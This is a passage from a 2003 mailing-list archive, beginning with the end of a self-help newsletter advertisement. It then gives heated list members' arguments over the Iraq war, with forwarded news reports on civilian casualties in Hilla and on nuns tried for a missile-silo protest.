self-actualized | awareness and meditation/self-hypnosis. The ability to be within the | calm center of the cyclone, thus rising above the first and second | truths. | | The Fourth Truth says we must live a life in which we do not mentally | or physically cause harm to others. This is the only way to keep your | mind undisturbed by remorse, guilt and anger. Through application of | the third and fourth truths we can rise above suffering. | | Without worrying about being spiritual correct, what is your response | to these different ideas? What does your heart say? | | * * * * * | | TO RECEIVE THIS "Master of Life" COLUMN WEEKLY AT YOUR E-MAIL ADDRESS, | CLICK ON "REPLY " AND TYPE "SUBSCRIBE" IN THE SUBJECT AREA. (New | Subscribers Only) | | * * * * | | A new chapter of the FREE book, "HOW TO FIX EVERYTHING IN YOUR LIFE AT | ONCE" is now posted at: | http://home.earthlink.net/~soaringspirit/html/fixyourlife.html | | * * * * * | | CDs and VIDEO SUGGESTIONS: | | ZEN ZAPPER: Suggestion examples: From this moment on self-liberation is | a priority in your life. You flow with life, never opposing things by | resisting them. You yield, realigning the force of your opposition and | using it to your advantage. You accept that what is, is. You accept the | things you cannot change. You develop detached mind. | Zen Zapper (CD--74 minutes) ................. RBZ108--$20. | | Tara's DESTINY OF PEACE VIDEO MEDITATION | Peace begins with you. A video meditation to create peaceful group | consciousness. Relax in front of your TV set, soften your focus, and | drift on beautiful visual images as Tara takes you on a journey to | remove stress, program peace within, and project peaceful vibrations to | our planet. Pray and meditate along with others to generate a deeper | calling of the human spirit. This beautiful video meditation was shot | by multiple Emmy Award winner Shane Stanley. | Destiny of Peace Meditation (35 Minutes-VHS) ................ | VHS801--$15. | | Say "Yes" to Life Zapper (CD--74 minutes)--RBZ131--$20. | Zen Liberation 74-Minute Course (CD)--RB105--$20. | Master of Life Video Hypnosis (VHS)--VHS105--$24.98 | Unstress Video Hypnosis (VHS)--VHS107--$24.98 | | * * * * * | | TOLL-FREE ORDER NUMBER: 1-800-421-6603 / Or send a fax and credit card | info to: 1-818-706-3606 / Online ordering at www.prohypnosis.com / All | Dick Sutphen "Master of Life" columns can be read at | www.dicksutphen.com / click on "Articles & Columns" | | * * * * * | | Astrology, geographical-location charts and special computerized | reports to help you create your own reality are available by clicking: | | http://www.dicksutphen.com/html/astrology_charts___articles.html | | * * * * * | | Dick Sutphen's "Master of Life Column" is copyrighted 2003, Malibu, CA. | To be removed from this mailing list, click your e-mail reply button | and type the word REMOVE in the "Subject" slot. Thank you for your | interest in our communications. From vortexb-l-request@eskimo.com Fri Apr 4 21:28:28 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id VAA26774; Fri, 4 Apr 2003 21:26:00 -0800 Resent-Date: Fri, 4 Apr 2003 21:26:00 -0800 Message-ID: <00bf01c2fad8$674bdc60$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> <00d001c2f951$765bf380$1202a8c0@WorkGroup> <005901c2fa01$1051c1e0$1202a8c0@WorkGroup> <052701c2fa9a$a8296d30$42233941@annamort> Subject: Re: And it ain't over yet... Date: Fri, 4 Apr 2003 13:11:22 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00AB_01C2FAAB.B0271C60" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"x8-Kc3.0.CY6.eZcZ-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1602 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 80 This is a multi-part message in MIME format. ------=_NextPart_000_00AB_01C2FAAB.B0271C60 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit Anna, Very good! Glad to see you're finally learning how to cite sources. I don't understand what your point in posting this is though - Is it to show that the coalition forces are intentionally killing civilians? Because if it is, it shows we are horribly inept at it, considering the small number of dead. Preliminary reports are that we have killed ~100,000 Iraqi Fedayeen, regular army and Republican Guard, so it's obviously not due to incompetence on our military's part. Also, upon reading the article there's some important things to note: "Terrifying film of women and children later emerged after Reuters and the Associated Press were permitted by the Iraqi authorities to take their cameras into the town. " These are the same Iraqi authorities that claim we had not taken Baghdad (formerly Saddam) international airport even though we could see live video from within that airport, that they were winning the war, etc. etc. There have also been scores or reports that Iraqis say one thing on camera and another thing off camera, due to their fear of being killed by Baath party thugs. All of this information in this article was vetted by those nazi-esq bastards. Also, until there's time to do chemical analysis, we can't tell who's bombs killed those people. Since Saddam has killed untold thousands of his people before, it's not much of a stretch to think he could have killed these as well for propaganda purposes. When the dust settles, we'll know more. I'm betting you and your ilk are going to have to work a hell of a lot harder to dig up anti-American dirt when it does, because there will be a Niagara of information coming out of that area pointing to just how evil Saddam's regime was, and to just how noble the coalition was. We will have to wait and see. Nice try, Dave! PS You need to remove the 'reply to' in your email client. If you do, responses to your posts will automatically go to the list instead of automatically going to you. If you do this (as I have pointed out in the past) you won't get responses accidentally sent to you instead of the list, like this one did. When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: Anna M* To: vortexb-l@eskimo.com Sent: Friday, April 04, 2003 6:09 AM Subject: And it ain't over yet... -----Original Message----- From: George Paxinos [mailto:geopax@bluewin.ch] Sent: 02 April 2003 20:43 To: friends Subject: Children killed and maimed in bomb attack on town THIS IS BUSH & BLAIR'S SLAUGHTER-FOR-PROFIT George Home > News > World > Middle East Children killed and maimed in bomb attack on town By Robert Fisk in Baghdad and Justin Huggler 02 April 2003 At least 11 civilians, nine of them children, were killed in Hilla in central Iraq yesterday, according to reporters in the town who said they appeared to be the victims of bombing. Reporters from the Reuters news agency said they counted the bodies of 11 civilians and two Iraqi fighters in the Babylon suburb, 50 miles south of Baghdad. Nine of the dead were children, one a baby. Hospital workers said as many as 33 civilians were killed. Terrifying film of women and children later emerged after Reuters and the Associated Press were permitted by the Iraqi authorities to take their cameras into the town. Their pictures ­ the first by Western news agencies from the Iraqi side of the battlefront ­ showed babies cut in half and children with amputation wounds, apparently caused by American shellfire and cluster bombs. Much of the videotape was too terrible to show on television and the agencies' Baghdad editors felt able to send only a few minutes of a 21-minute tape that included a father holding out pieces of his baby and screaming "cowards, cowards'' into the camera. Two lorryloads of bodies, including women in flowered dresses, could be seen outside the Hilla hospital. Dr Nazem el-Adali, who was trained in Edinburgh, said almost all the patients were victims of cluster bombs dropped around Hella and in the neighbouring village of Mazarak. One woman, Alia Mukhtaff, is seen lying wounded on a bed; she lost six of her children and her husband in the attacks. Another man is seen with an arm missing, and a second man, Majeed Djelil, whose wife and two of his children were killed, can be seen sitting next to his third and surviving child, whose foot is missing. The mortuary of the hospital, a butcher's shop of chopped up corpses, is seen briefly in the tape. Iraqi officials have been insisting for 48 hours that the Americans have used cluster bombs on civilians in the region but this is the first time that evidence supporting these claims has come from Western news agencies. Most of the wounded said they were hit by American munitions and one man described how an American vehicle fired a shell into his family home. "I could see an American flag,'' he says. One of the editors in Baghdad, a European, when asked why he would not send the full videotape to London, wound the pictures on to two mutilated corpses of babies. "How could we ever send this?'' he said. Further south, there was heavy fire around the town of Diwaniyah, about 80 miles south-east of Baghdad. It was the second day of close combat between American forces and Iraqi troops, after fighting in the town of Hindiyah on Monday. It appeared that US troops were looking to take on some Iraqi forces after initially advancing largely unopposed through vast tracts of empty desert but deliberately avoiding population centres. According to reports from Diwaniyah, US Marines deliberately provoked a firefight by moving into an area where they had come under fire before. The marines came under heavy fire from rocket-propelled grenades and machine-guns. Iraqi Republican Guard troops and other fighters fired on the advancing marines from fortified bunkers and positions in buildings and behind vehicles. Corporal Patrick Irish of the US Marines said: "They were shooting from buildings, from dug-out positions, from holes, from everything. They would jump out to shoot. They were behind buses. You name it, they were there." Although the Iraqis were outgunned by the heavily armed marines, the firefight went on for about 10 hours, according to Lieutenant-Colonel B P McCoy of the US Marines. They used 155mm artillery to destroy Iraqi tanks and mortar positions. "We hammered them pretty hard," said Lt-Col McCoy. At least 75 Iraqis were killed in fighting on Diwaniyah's outskirts and at least 44 soldiers, including some Republican Guard officers, were taken prisoner, Lt-Col McCoy said. There was no report of American casualties. North-east of Diwaniyah there was heavy bombing yesterday near Kut to clear the way for ground forces, according to the US military. American marines also claim to have "secured" an air base at Qalat Sukkar, south-east of Kut, which US forces want to use as a staging ground. Overnight, planes bombed the area around Hindiyah. Ominously, there were also reports of missiles streaking towards the Shia holy city of Kerbala, where any damage to the shrines could set the Shia Muslim world alight. The Iraqi military said its troops were fighting US forces inside Nasiriyah and on the outskirts of the city, and had inflicted heavy casualties. "The blood of the enemy is flowing profusely," a military spokesman said at a press briefing, who claimed that fighting was still going on as he spoke. He claimed the forces fighting in and around Nasiriyah included Republican Guards, regular Iraqi army soldiers, volunteers from across the Arab world, and ordinary Iraqi citizens. US Marines fought their way across the city's bridges last Tuesday but did not take control of the city. Since then, Iraqi forces have made several ambushes in the area. The Iraqi spokesman also said US forces launched an attack on the Shia holy city of Najaf yesterday, and claimed fighters inside the city had forced them to retreat after suffering heavy losses. ----- Original Message ----- From: "GKK" To: Sent: Friday, April 04, 2003 1:36 AM Subject: Re: A war game web site > > No, you presented an assortment of unreferenced, unverifiable and wholly > unsubstanciated > > bullshit. > > Yes. Like that uranium is more radioactive than radium. > > Something that most people know. > > Uranium is heavier than radium. Do you know what does this mean???? > > > > > Pray tell, what should I watch?!? Al-Jazeria?!?!? > > I didn't suggest Al-Jazeria. You thought that. I wonder why. > > You should know that life isn't black or white. > > It is grey. > > > > > I watch Fox, CNN and MSNBC, I listen to NPR, ABC and WOR and I read > Reuters, the LA Times, the > > NY Times and Debka. I can do this because I have news on 10 hours a day > and I speed read. > > Good for you, but those are still full of US propaganda. > > > > > Oh, you mean decide it means something other than what the author > wrote?!?! > > No. I mean to think for yourself what is true and what is obvious > propaganda. > > Compare your sources and their messages. > > Of course if you read only propaganda, especially when this is one-side > propaganda, you can't do that. > > > > > At least this 'idiot' can bother to do a search on Google and find major > news sources to back up > > his opinions, unlike some other lazy fucking paranoid communist morons I > know. > > When I gave you a link you just ignored it and tried to make it seem fool. > > It was enough to understand your way of thinking and acting. > > > > What would be the use of giving thousands of links? > > Do you think there aren't? > > Go on. Search on Google just to see they exist and you just refuse to see > them although they are in front of your eyes. > > Again you try to humiliate me instead of proving that actually I am a lazy > ass. > > > > Me a communist???? > > HAHAHAHA. > > Yeah. Right. That great danger again. > > > > > Oh crap, I thought that would be NEWS!!! Instead it's just more > PROPAGANDA!!!! > > No propaganda. Just a little game for those that can appreciate that. > > > > > > Thanks for proving my point! > > Thank you too. > > > > Dave Narby > > A lazy fucking paranoid communist moron > > > > ------=_NextPart_000_00AB_01C2FAAB.B0271C60 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Anna,
 
Very good!  Glad to see you're = finally=20 learning how to cite sources.  I = don't=20 understand what your point in posting this is though - Is it to show = that the=20 coalition forces are intentionally killing civilians?  Because if it is, it shows we are horribly inept = at it,=20 considering the small number of dead.  Preliminary reports are that = we have=20 killed ~100,000 Iraqi Fedayeen, regular army and Republican Guard, so = it's=20 obviously not due to incompetence on our military's part.
 
Also, upon reading the article there's = some=20 important things to note:
 
"Terrifying film of women and children = later=20 emerged after Reuters and the Associated Press = were=20 permitted by the Iraqi authorities to take their cameras = into the=20 town. "
 
These are the same Iraqi authorities = that claim we=20 had not taken Baghdad (formerly Saddam) international airport even = though we=20 could see live video from within that airport, that they were winning = the war,=20 etc. etc.  There have also been = scores or=20 reports that Iraqis say one thing on camera and another thing off = camera, due to=20 their fear of being killed by Baath party thugs.  All of this = information=20 in this article was vetted by those nazi-esq bastards.
 
Also, until there's time to do chemical = analysis,=20 we can't tell who's bombs killed those people.  Since Saddam = has=20 killed untold thousands of his people before, it's not much of a stretch = to=20 think he could have killed these as well for propaganda = purposes.
 
When the dust settles, we'll know = more.  I'm=20 betting you and your ilk are going to have to work a hell of a lot = harder to dig=20 up anti-American dirt when it does, because there will be a Niagara = of=20 information coming out of that area pointing to just how = evil Saddam's=20 regime was, and to just how noble the coalition was.  We will have = to wait=20 and see.
 
Nice try,
 
Dave!
 
PS You need to remove the 'reply to' in your email client.  If = you do,=20 responses to your posts will automatically go to the list instead of=20 automatically going to you.  If you do this (as I have pointed out = in the=20 past) you won't get responses accidentally sent to you instead of the = list, like=20 this one did.
 
When the oppressed joyfully embrace their liberators, remember = those who=20 acted to keep them enslaved.
 
 
----- Original Message -----
From:=20 Anna=20 M*
Sent: Friday, April 04, 2003 = 6:09=20 AM
Subject: And it ain't over = yet...

-----Original=20 Message-----
From: George Paxinos [mailto:geopax@bluewin.ch] =
Sent:=20 02 April 2003 20:43
To: friends
Subject: Children = killed=20 and maimed in bomb attack on town

THIS IS BUSH & BLAIR'S=20 SLAUGHTER-FOR-PROFIT

George

Home <http://www.independent.co.uk/&= gt;=20    > News <http://news.independent.co.uk/>=20   > World <http://news.independent.co.u= k/world>=20   > Middle East=20 <http://news.independent.co.uk/world/middle_east/>=20  
Children = killed and=20 maimed in bomb attack on = town

By Robert Fisk in Baghdad and Justin Huggler

02 April=20 2003

At least 11 civilians, nine of them children, were killed in Hilla = in=20 central Iraq yesterday, according to reporters in the town who said = they=20 appeared to be the victims of bombing.


Reporters from the = Reuters news=20 agency said they counted the bodies of 11 civilians and two Iraqi = fighters in=20 the Babylon suburb, 50 miles south of Baghdad. Nine of the dead were = children,=20 one a baby. Hospital workers said as many as 33 civilians were killed. =

Terrifying film of women and children later = emerged=20 after Reuters and the Associated Press were permitted by the Iraqi = authorities=20 to take their cameras into the town. Their pictures ­ the first by = Western=20 news agencies from the Iraqi side of the battlefront ­ showed = babies cut=20 in half and children with amputation wounds, apparently caused by = American=20 shellfire and cluster bombs.

Much of the videotape was too = terrible to=20 show on television and the agencies' Baghdad editors felt able to send = only a=20 few minutes of a 21-minute tape that included a father holding out = pieces of=20 his baby and screaming "cowards, cowards'' into the camera. Two = lorryloads of=20 bodies, including women in flowered dresses, could be seen outside the = Hilla=20 hospital.


Dr Nazem = el-Adali, who=20 was trained in Edinburgh, said almost all the patients were victims of = cluster=20 bombs dropped around Hella and in the neighbouring village of Mazarak. = One=20 woman, Alia Mukhtaff, is seen lying wounded on a bed; she lost six of = her=20 children and her husband in the attacks. Another man is seen with an = arm=20 missing, and a second man, Majeed Djelil, whose wife and two of his = children=20 were killed, can be seen sitting next to his third and surviving = child, whose=20 foot is missing. The mortuary of the hospital, a butcher's shop of = chopped up=20 corpses, is seen briefly in the tape.

Iraqi officials have = been=20 insisting for 48 hours that the Americans have used cluster bombs on = civilians=20 in the region but this is the first time that evidence supporting = these claims=20 has come from Western news agencies. Most of the wounded said they = were hit by=20 American munitions and one man described how an American vehicle fired = a shell=20 into his family home. "I could see an American flag,'' he says. =

One of=20 the editors in Baghdad, a European, when asked why he would not send = the full=20 videotape to London, wound the pictures on to two mutilated corpses of = babies.=20 "How could we ever send this?'' he said.

Further south, there = was=20 heavy fire around the town of Diwaniyah, about 80 miles south-east of = Baghdad.=20 It was the second day of close combat between American forces and = Iraqi=20 troops, after fighting in the town of Hindiyah on Monday. It appeared = that US=20 troops were looking to take on some Iraqi forces after initially = advancing=20 largely unopposed through vast tracts of empty desert but deliberately = avoiding population centres.

According to reports from = Diwaniyah, US=20 Marines deliberately provoked a firefight by moving into an area where = they=20 had come under fire before. The marines came under heavy fire from=20 rocket-propelled grenades and machine-guns.

Iraqi Republican = Guard=20 troops and other fighters fired on the advancing marines from = fortified=20 bunkers and positions in buildings and behind vehicles. Corporal = Patrick Irish=20 of the US Marines said: "They were shooting from buildings, from = dug-out=20 positions, from holes, from everything. They would jump out to shoot. = They=20 were behind buses. You name it, they were there."

Although the = Iraqis=20 were outgunned by the heavily armed marines, the firefight went on for = about=20 10 hours, according to Lieutenant-Colonel B P McCoy of the US Marines. = They=20 used 155mm artillery to destroy Iraqi tanks and mortar positions. "We = hammered=20 them pretty hard," said Lt-Col McCoy. At least 75 Iraqis were killed = in=20 fighting on Diwaniyah's outskirts and at least 44 soldiers, including = some=20 Republican Guard officers, were taken prisoner, Lt-Col McCoy said. = There was=20 no report of American casualties.

North-east of Diwaniyah = there was=20 heavy bombing yesterday near Kut to clear the way for ground forces, = according=20 to the US military. American marines also claim to have "secured" an = air base=20 at Qalat Sukkar, south-east of Kut, which US forces want to use as a = staging=20 ground.

Overnight, planes bombed the area around Hindiyah. = Ominously,=20 there were also reports of missiles streaking towards the Shia holy = city of=20 Kerbala, where any damage to the shrines could set the Shia Muslim = world=20 alight.

The Iraqi military said its troops were fighting US = forces=20 inside Nasiriyah and on the outskirts of the city, and had inflicted = heavy=20 casualties. "The blood of the enemy is flowing profusely," a military=20 spokesman said at a press briefing, who claimed that fighting was = still going=20 on as he spoke. He claimed the forces fighting in and around Nasiriyah = included Republican Guards, regular Iraqi army soldiers, volunteers = from=20 across the Arab world, and ordinary Iraqi citizens.

US Marines = fought=20 their way across the city's bridges last Tuesday but did not take = control of=20 the city. Since then, Iraqi forces have made several ambushes in the = area.=20

The Iraqi spokesman also said US forces launched an attack on = the Shia=20 holy city of Najaf yesterday, and claimed fighters inside the city had = forced=20 them to retreat after suffering heavy losses. =
----- Original Message -----
From: "GKK" <trelos_epistimonas@hotmail.com>
To: <vortexb-l@eskimo.com>
Sent: Friday, April 04, 2003 1:36 = AM
Subject: Re: A war game web = site

> = > No,=20 you presented an assortment of unreferenced, unverifiable and = wholly
>=20 unsubstanciated
> > bullshit.
>
> Yes. Like that = uranium=20 is more radioactive than radium.
>
> Something that most = people=20 know.
>
> Uranium is heavier than radium. Do you know = what does=20 this mean????
>
>
>
> > Pray tell, what = should I=20 watch?!?  Al-Jazeria?!?!?
>
> I didn't suggest = Al-Jazeria.=20 You thought that. I wonder why.
>
> You should know that = life=20 isn't black or white.
>
> It is grey.
>
> =
>=20
> > I watch Fox, CNN and MSNBC, I listen to NPR, ABC and WOR = and I=20 read
> Reuters, the LA Times, the
> > NY Times and = Debka. =20 I can do this because I have news on 10 hours a day
> and I = speed=20 read.
>
> Good for you, but those are still full of US=20 propaganda.
>
>
>
> > Oh, you mean = decide it=20 means something other than what the author
> wrote?!?!
> =
>=20 No. I mean to think for yourself what is true and what is = obvious
>=20 propaganda.
>
> Compare your sources and their = messages.
>=20
> Of course if you read only propaganda, especially when this = is=20 one-side
> propaganda, you can't do that.
>
> =
>=20
> > At least this 'idiot' can bother to do a search on = Google and=20 find major
> news sources to back up
> > his opinions, = unlike=20 some other lazy fucking paranoid communist morons I
> = know.
>=20
> When I gave you a link you just ignored it and tried to make = it seem=20 fool.
>
> It was enough to understand your way of = thinking and=20 acting.
>
>
>
> What would be the use of = giving=20 thousands of links?
>
> Do you think there = aren't?
>=20
> Go on. Search on Google just to see they exist and you just = refuse to=20 see
> them although they are in front of your eyes.
> =
>=20 Again you try to humiliate me instead of proving that actually I am a=20 lazy
> ass.
>
>
>
> Me a=20 communist????
>
> HAHAHAHA.
>
> Yeah. Right. = That=20 great danger again.
>
>
>
> > Oh crap, I = thought=20 that would be NEWS!!!  Instead it's just more
>=20 PROPAGANDA!!!!
>
> No propaganda. Just a little game for = those=20 that can appreciate that.
>
>
>
>
> = >=20 Thanks for proving my point!
>
> Thank you too.
> =
>=20
> > Dave Narby
>
> A lazy fucking paranoid = communist=20 moron
>
>
>
> = ------=_NextPart_000_00AB_01C2FAAB.B0271C60-- From vortexb-l-request@eskimo.com Fri Apr 4 21:32:38 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id VAA28618; Fri, 4 Apr 2003 21:30:01 -0800 Resent-Date: Fri, 4 Apr 2003 21:30:01 -0800 Message-ID: <00db01c2fad9$ddb0e480$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> <00d001c2f951$765bf380$1202a8c0@WorkGroup> <005901c2fa01$1051c1e0$1202a8c0@WorkGroup> Subject: Re: A war game web site Date: Fri, 4 Apr 2003 13:37:24 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"Nsb3g.0._-6.PdcZ-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1603 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 81 Telos, | > No, you presented an assortment of unreferenced, unverifiable and wholly | unsubstantiated | > bullshit. | | Yes. Like that uranium is more radioactive than radium. | | Something that most people know. | | Uranium is heavier than radium. Do you know what does this mean???? Please quit jerking around and make your damn point. If you have one, which is increasingly doubtful. | > Pray tell, what should I watch?!? Al-Jazeria?!?!? | | I didn't suggest Al-Jazeria. You thought that. I wonder why. | | You should know that life isn't black or white. | | It is grey. Inaccurate. Some things are gray, some things are black and some things are white. Everything is somewhere in that spectrum. You still haven't answered my question of where I should get my news from. | > I watch Fox, CNN and MSNBC, I listen to NPR, ABC and WOR and I read | Reuters, the LA Times, the | > NY Times and Debka. I can do this because I have news on 10 hours a day | and I speed read. | | Good for you, but those are still full of US propaganda. Strangely enough, the LA Times frequently agrees with your point of view (and to a lesser extent, Reuters, NPR, the NY Times and the BBC)! | > Oh, you mean decide it means something other than what the author | wrote?!?! | | No. I mean to think for yourself what is true and what is obvious | propaganda. | | Compare your sources and their messages. | | Of course if you read only propaganda, especially when this is one-side | propaganda, you can't do that. Since none of us are there, in lieu of live video we have to go with A PREPONDERANCE OF EVIDENCE. | > At least this 'idiot' can bother to do a search on Google and find major | news sources to back up | > his opinions, unlike some other lazy fucking paranoid communist morons I | know. | | When I gave you a link you just ignored it and tried to make it seem fool. | | It was enough to understand your way of thinking and acting. THE LINK WAS TO A POLITICAL SATIRE SITE!!! IT HAD *NO* INFORMATION WHATSOEVER AND PRESENTED A TOTALLY ONE SIDED OPINION!!! | What would be the use of giving thousands of links? It would show there was more to your argument than your less than worthless opinions! | Do you think there aren't? OBVIOUSLY YES. Prove me wrong! | Go on. Search on Google just to see they exist and you just refuse to see | them although they are in front of your eyes. That's *your* job, you lazy bastard! IT'S YOUR JOB TO MAKE YOUR OWN POINT! | Again you try to humiliate me instead of proving that actually I am a lazy | ass. You just proved it, because you asked me to do it FOR YOU!!! | Me a communist???? Ok, maybe you're a fascist or an anarchist. Whatever. | > Oh crap, I thought that would be NEWS!!! Instead it's just more | PROPAGANDA!!!! | | No propaganda. Just a little game for those that can appreciate that. You know, maybe you're simply ignorant of the term. Here: propaganda noun [U] MAINLY DISAPPROVING information, ideas, opinions or images, often only giving one part of an argument, which are broadcast, published or in some other way spread with the intention of influencing people's opinions: http://dictionary.cambridge.org/define.asp?key=63437&dict=CALD http://www.onelook.com/?w=propaganda&ls=a BTW You're Greek right? Because that explains a lot, if you are. The Greek media is well documented as one of the most anti-American in the world: http://www.google.com/search?hl=en&lr=&ie=ISO-8859-1&as_qdr=all&q=+%22anti-american%22+%22greek+ media%22 See, I did a Google search to back up my claim! Not so hard, was it? You try it! You are so weak! Dave Narby When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. From vortexb-l-request@eskimo.com Fri Apr 4 21:44:53 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id VAA03175; Fri, 4 Apr 2003 21:43:16 -0800 Resent-Date: Fri, 4 Apr 2003 21:43:16 -0800 Message-ID: <008701c2fad1$324e5b20$1202a8c0@WorkGroup> From: "Dave N." To: References: <3E8BAC0F.5060902@ghiocel.com> <5.2.0.9.2.20030403175148.02690178@pop.mindspring.com> <5.2.0.9.2.20030404094628.02693100@pop.mindspring.com> Subject: Re: Najaf celebrates arrival of US troops OR angry Najif crowds attack U.S. troops Date: Fri, 4 Apr 2003 12:33:36 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"k1ePP1.0.Tn.qpcZ-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1604 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 82 Jed, This does nothing to change the fact that you blatantly took one specific quote out of that article and used it totally out of context to bolster your argument. That's weak, man! Dave! When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Jed Rothwell" To: ; Sent: Friday, April 04, 2003 9:49 AM Subject: Re: Najaf celebrates arrival of US troops OR angry Najif crowds attack U.S. troops | Dave N. wrote: | | >You quote the NY Times as reporting the opposite of the Washington post, | >but anyone who reads | >that article will see that this clearly is far from true! | | The events described in the article were broadcast on CNN. There is no | question the account is true, but it may be that another set of events took | place elsewhere in the town, or at an earlier time. | | | >Frankly, IMO anything from the New York Times is in question anyway, a it | >appears they have | >their own problems with accurate reporting: | >http://www.powerlineblog.com/archives/002841.php | > | >Jed, shame on you! Bad lefty! | | Both the New York Times and the Washington Post have strongly supported the | war, so neither can be described as "leftist." | | I think the world is more complicated and nuanced than you realize. | | - Jed | | From vortexb-l-request@eskimo.com Sat Apr 5 03:53:07 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id DAA18901; Sat, 5 Apr 2003 03:49:52 -0800 Resent-Date: Sat, 5 Apr 2003 03:49:52 -0800 Message-ID: <007a01c2fb69$611acf40$468f3a41@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: A matter of conscience... Red Cross terrified.. Date: Sat, 5 Apr 2003 04:49:09 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id DAA18869 Resent-Message-ID: <"HAZ0M.0.9d4.WBiZ-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1605 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 83 Peace-activist nun cites Bush in sabotage defense By Keith Coffman DENVER, April 3 2003 (Reuters) - A Catholic nun told a U.S. court on Thursday she was obeying President George W. Bush's call to dismantle weapons of mass destruction when she and two other sisters trespassed at an unmanned missile silo in northern Colorado. Sister Carolyn Gilbert and two other Dominican sisters, Jackie Hudson and Ardeth Platte, are charged with sabotage and malicious destruction of property relating to an Oct. 6 break-in at the Minuteman III silo near Greeley, Colorado. Gilbert and Platte are peace activists in Baltimore, Maryland and Hudson does similar work in Bremerton, Washington. Since the trial opened on Monday, peace activists have packed the federal courtroom in downtown Denver to support the nuns. The three have said they cut cables and made the sign of the cross on the lid of the silo with their own blood before they were arrested by military police. Platte told the court in an opening statement on Tuesday they wanted to protect the children of Iraq with a "symbolic disarmament." "Our president has asked that weapons of mass destruction be destroyed," Gilbert told the court on Thursday. "I had a duty, a responsibility and privilege to try and stop a crime, not only under God's law, but under U.S. and international law," she said. Bush, backed by Britain, launched a war against Iraq on March 19 for what he said was President Saddam Hussein's refusal to dismantle weapons of mass destruction. The nuns have been in jail since October after refusing to be released on bond. U.S. District Judge Robert Blackburn has said the women could not make use of the Nuremberg defense, which allows a citizen to break the law in order to prevent a crime against humanity. If convicted, the women face up to 30 years in jail and fines of up to $250,000. From: http://www.alertnet.org/thenews/newsdesk/N03324495.htm ------------------------ Red Cross Horrified by Number of Dead Civilians Canadian Press Friday 4 April 2003 OTTAWA — Red Cross doctors who visited southern Iraq this week saw "incredible" levels of civilian casualties including a truckload of dismembered women and children, a spokesman said Thursday from Baghdad. Roland Huguenin, one of six International Red Cross workers in the Iraqi capital, said doctors were horrified by the casualties they found in the hospital in Hilla, about 160 kilometres south of Baghdad. "There has been an incredible number of casualties with very, very serious wounds in the region of Hilla," Huguenin said in a interview by satellite telephone. "We saw that a truck was delivering dozens of totally dismembered dead bodies of women and children. It was an awful sight. It was really very difficult to believe this was happening." Huguenin said the dead and injured in Hilla came from the village of Nasiriyah, where there has been heavy fighting between American troops and Iraqi soldiers, and appeared to be the result of "bombs, projectiles." "At this stage we cannot comment on the nature of what happened exactly at that place . . . but it was definitely a different pattern from what we had seen in Basra or Baghdad. "There will be investigations I am sure." Baghdad and Basra are coping relatively well with the flow of wounded, said Huguenin, estimating that Baghdad hospitals have been getting about 100 wounded a day. Most of the wounded in the two large cities have suffered superficial shrapnel wounds, with only about 15 per cent requiring internal surgery, he said. But the pattern in Hilla was completely different. "In the case of Hilla, everybody had very serious wounds and many, many of them small kids and women. We had small toddlers of two or three years of age who had lost their legs, their arms. We have called this a horror." At least 400 people were taken to the Hilla hospital over a period of two days, he said -- far beyond its capacity. "Doctors 